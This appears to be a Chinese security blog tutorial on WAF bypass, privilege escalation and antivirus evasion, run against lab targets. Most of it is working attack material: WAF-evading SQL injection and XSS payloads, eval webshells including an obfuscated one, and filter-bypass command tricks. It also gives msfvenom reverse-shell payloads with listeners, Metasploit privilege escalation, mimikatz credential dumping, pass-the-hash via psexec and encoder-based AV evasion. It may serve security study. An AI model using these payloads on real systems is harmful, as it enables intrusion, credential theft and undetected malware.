Waf绕过,权限提升,免杀
作者: 分类: 网络安全 发布于: 2024-07-09 16:13:37 浏览:291 评论(0)
WAF绕过
使用环境: Win7+phpStudy+安全狗 +DVWA
绕过mysql
绕过普通注入
简单注入时会拦截
1' and 1=1 #
内联注释:是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别。
/*!10445*/ 表示版本号;从00000~99999 ,需要小于mysql的版本;
例如: mysql 5.6 ,则版本号需要小于 56000才能执行成功
这个版本号有很多可以多尝试几个,这个原理就是在mysql数据库当中/*!加上指定的版本号来执行sql语句:
1'/*!11445and*/1=1
尝试绕过,内联注释成功绕过。
绕过联合注入
获取列数
1' order/*/*/by 1 #
或者 1' group by 1 #
经查询只有两列。
获取数据库名
-1' union /*/*/ /*!10445select*/1,database(/*/*/) # id使用-1表示不查询原来数据
获取所有的库名
-1' union /*/*/ /*!10445select*/ 1, group_concat(schema_name) from /*/*/ information_schema.schemata #
获取dvwa库里面所有的表名
-1' union /*/*/ /*!10445select*/ 1, group_concat(table_name) from /*/*/ information_schema.tables /*/*/ where /*/*/ table_schema = 'dvwa
获取user表里面所有的列名
-1' union /*/*/ /*!10445select*/ 1, group_concat(column_name) from /*/*/ information_schema.columns /*!10445where*/ table_schema = 'dvwa' /*!10445and*/ table_name = 'users
获取user表中账号与密码
-1' union /*/*/ /*!10445select*/ user,password /*!10445from*/ users #
绕过XSS
普通攻击时会拦截
<script>alert(1)</script>
利用base64编码加object标签即可绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4=" />
利用svg标签进行绕过;
<svg/onload=alert(1)>
绕过文件上传
上传php
文件时被拦截
点击upload
后
利用双写filename=;进行绕过
此时需要用到burpsuite
配合修改
在filename="info.php"
前加上filename=;
提示上传成功
利用无用文件头绕过
在请求体前面添加大量无用数据(注意要和请求头空一行)。其原理是由于文件头太大, waf拦截时需要利用大量时间来验证,超过某个时间阈值时会自动放过
输入大量无用头数据时提示上传成功。
绕过内容检测
普通一句话木马上传访问被拦截
<?php @eval($_POST['a'])
上传免杀一句话木马
<?php
$name = $_GET[1];
$name = substr($name,0);
eval("echo 123;" . $name."echo 456; " );
?>
利用00截断绕过
先将文件名改为info.php;.jpg
,再通过burp 的16进制将其中的;
改为16进制的00
.
再点击send后上传成功
绕过漏洞扫描
通常在实战中,当我们需要进行漏洞扫描的时候,常常被WAF产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取WAF绕过扫描。
触发WAF的原因:
1、漏扫线程过大被封禁
解决方法:延时,低线程,使用代理池,白名单扫描
2、工具指纹被WAF识别被封禁
解决方法:指纹特征修改,模拟用户漏扫
3、漏洞单点payload特征被WAF识别封禁
解决方法:数据变异绕过,多种工具集合扫描尝试
WAF绕过命令执行,绕过脚本免杀
WAF绕过命令执行
常见的命令执行函数:
system() #输出并返回最后一行shell结果
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里
passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec() #通过shell执行命令并以字符串的形式返回完整的输出
反引号 #本质是使用shell_exec()函数
命令分隔符:
Windows: && || & |
Linux: && || & | ;
分号;在shell中担任连续指令的功能
php环境中可以使用:
%0a 换行符
%0d 回车符
截断符号:
$
;
|
&
-
(
)
{
}
反引号
||
&&
%0a #有时可当空格使用
Linux命令执行绕过
1、绕过空格
${IFS}
$IFS$9 # $9可改成$加其他数字
<
<> # 重定向符
{cat,flag.php} # 用逗号,实现了空格功能
2、拼接
#在linux系统中
a=et;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
3、base64编码
$(echo "Y2F0IHRlc3QudHh0"|base64 -d)
4、单引号、双引号绕过(引号需要闭合)
cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt
5、反斜杠
cat te\st.txt
c\at te\st.txt
6、通配符绕过
cat /etc/pass*
Windows下同理:如当命令执行被拦截的时候需要进行绕过,如whoami被拦截可以尝试如下进行绕过
w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)
# 或者
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
获取webshell思路总结
SQL注入漏洞
前提:知道绝对路径,路径有写入权限,mysql配置my.ini
中添加或修改secure_file_priv=''
,允许mysql写入文件。
写入webshell
语句sql语句如:
select '<?php @eval($_POST["shell_code"]); ?>' info outfile '/var/www/html/shell.php'
文件上传漏洞
前提:上传目录允许执行
上传文件内容
//shell.php
<?php @eval($_POST["shell_code"]); ?>
命令执行漏洞
ping 127.0.0.1 && echo ^<?php @eval($_POST['a']);^ > /var/www/html/shell.php
其他通用的RCE漏洞
thinkphp远程代码执行
phpcms任意文件上传
dedecms远程代码执行
南方数据cms备份getshell
phpmyadmin后台获取webshell等等
万变不离其宗,原理依然是靠SQL注入,代码执行,命令执行。
权限提升
默认已经拿到webshell的情况下, 当前用户权限不足时, 可通过漏洞提升权限
Windows提权前期相关事项
明确事项:
1、明确漏洞编号及版本
2、明确漏洞利用平台及版本
3、确保cmd执行权限正常运行
4、确保服务器相关防护软件情况
systeminfo查看系统补丁:一般的,如果网站安全做好的的情况下,会有几百个补丁
Windows提权常用命令
whoami 查看当前权限
ipconfig 查看服务器为内网还是外网
quser 查看管理是否在线
systeminfo 查看服务器信息及相应的补丁,可找相应的补丁提权
tasklist 查看当前运行的进程,是否有av,可利用的第三方的服务提权等
net user 查看用户
net user admin adqqq7! /add 添加账户
net localgroup administrators admin /add 将admin这个用户加到管理组
net user guest /active:yes 激活guest账户
net user admin /del 删除admin账户
tasklist /svc 查看进程服务
tasklist /m dll 查看调用某个dll的进程
tasklist /v 显示当前进程和进程用户
qwinsta 显示会话情况
net config workstation 查看当前登陆用户信息
hostname 主机名
set 查看环境变量
net view 显示当前域或工作组中计算机的列表
net statistics workstation 查看主机开机时间
net share 查看共享文件夹
查看3389是否开启,0x0为开,0x1为关
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections
win2012通用,win7开启3389:
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
windows server2008开启3389:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t
REG_DWORD /d 00000000 /f
windows server 2003,windws XP开启3389:
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
windows提权实战
**环境:**Win7(admin用户)+ Kali Linux
1、使用msfvenom生成后门程序
# 生成后门程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.150 lport=5555 -f exe -o 5555.exe
# msf监听端口
msfconsole -q #进入msfconsole
handler -p windows/x64/meterpreter/reverse_tcp -H 10.0.0.150 -P 5555 # 开启监听
2、将生成的后门程序通过蚁剑上传到目标文件夹中
3、Webshell直接执行5555.exe
4、即可得到meterpreter会话
5、使用sessions -i 1
命令进入此session中,执行getuid
,发现非管理员权限
6、查看补丁信息
run post/windows/gather/enum_patches
7、查询哪些提权exp可以用
run post/multi/recon/local_exploit_suggester
8、此次使用ms15-051
这个漏洞进入提权,使用background
命令把当前会话放到后台。并使用search ms15-051
搜索漏洞利用模块
9、由于目标机是64位操作系统, 使用编号为2
漏洞利用模块, 并设置SESSION
use 2
set session 1
10、 使用run
执行命令,成功获取权限。执行getuid
,发现已获取超级管理员权限
11、执行shell
进入cmd
的shell
,执行whoami
,为system
权限
乱码使用chcp 437即可
Windows提权后期密码安全性测试
1、利用run hashdump
或者hashdump
进行dump服务器hash值
第四列为md5加密密码, 可通过解密工具获取明文密码
2、利用mimikatz获取管理员账号密码
load kiwi,加载kiwi模块
查看kiwi帮助
creds_all,列举系统明文密码
kiwi_cmd可以使用mimikatz的全部功能,比如kiwi_cmd sekurlsa::logonpasswords获取明文密码
3、当hash解密不出来的时候,可以利用hash来直接远程登录
注意:以Win7或者Win XP作为靶机时攻击失败,建议使用Windows server 2012作为靶机进行测试
use exploit/windows/smb/psexec
set RHOSTS 10.0.0.167
set SMBUser wayee
set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
exploit
免杀
免杀技术简介:
免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
利用
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=XXXX lport=XX -f exe -o XX.exe
生成的木马,不做任何的免杀处理,利用在线杀毒引擎检测查杀概率:
拖入5555.exe
VirusTotal的反病毒引擎报毒为56个。
利用MSF自带的功能进行免杀
Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,该文件运行后,MSF 编码器会将原始程序解码到内存中并执行。
-e选项:指定编码器x86/shikata_ga_nai
-i:指定编码20次
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.150 -e x86/shikata_ga_nai -i 20 -f exe -o 5556.exe
可以发现使用编码器免杀具备一定的效果,报毒引擎数量有所下降,但是效果微乎其微,近年来由于各种杀毒软件的更新,msf编码器免杀已经被各大杀毒软件标记,免杀效果差。
MSF编码器结合shellcode加载器进行免杀
# 下载shellcode加载器
https://github.com/crow821/crowsec/tree/master/BypassAV_360_huornog
如果编码器运行不成功,需要 msvcr110.dll 放到C:\Windows\SysWOW64 下
利用编码器生成jpg文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' lhost=10.0.0.150 lport=5558 -f raw -o crowsec.jpg
利用msf进行监听
msfconsole -q
handler -p windows/meterpreter/reverse_tcp -H 10.0.0.150 -P 5558
先看一下两个文件的免杀效果
crowsec_shelllcodeBypass.exe 有8个引擎报毒
crowsec.jpg仅12个引擎报毒
将crowsec.jpg
和crowsec_shelllcodeBypass.exe
放到同一目录,点击ms.exe即可上线
获取到meterpreter
转载时请注明出处及相应链接。
本文永久链接: https://blog.baigei.com/articles/waf-bypass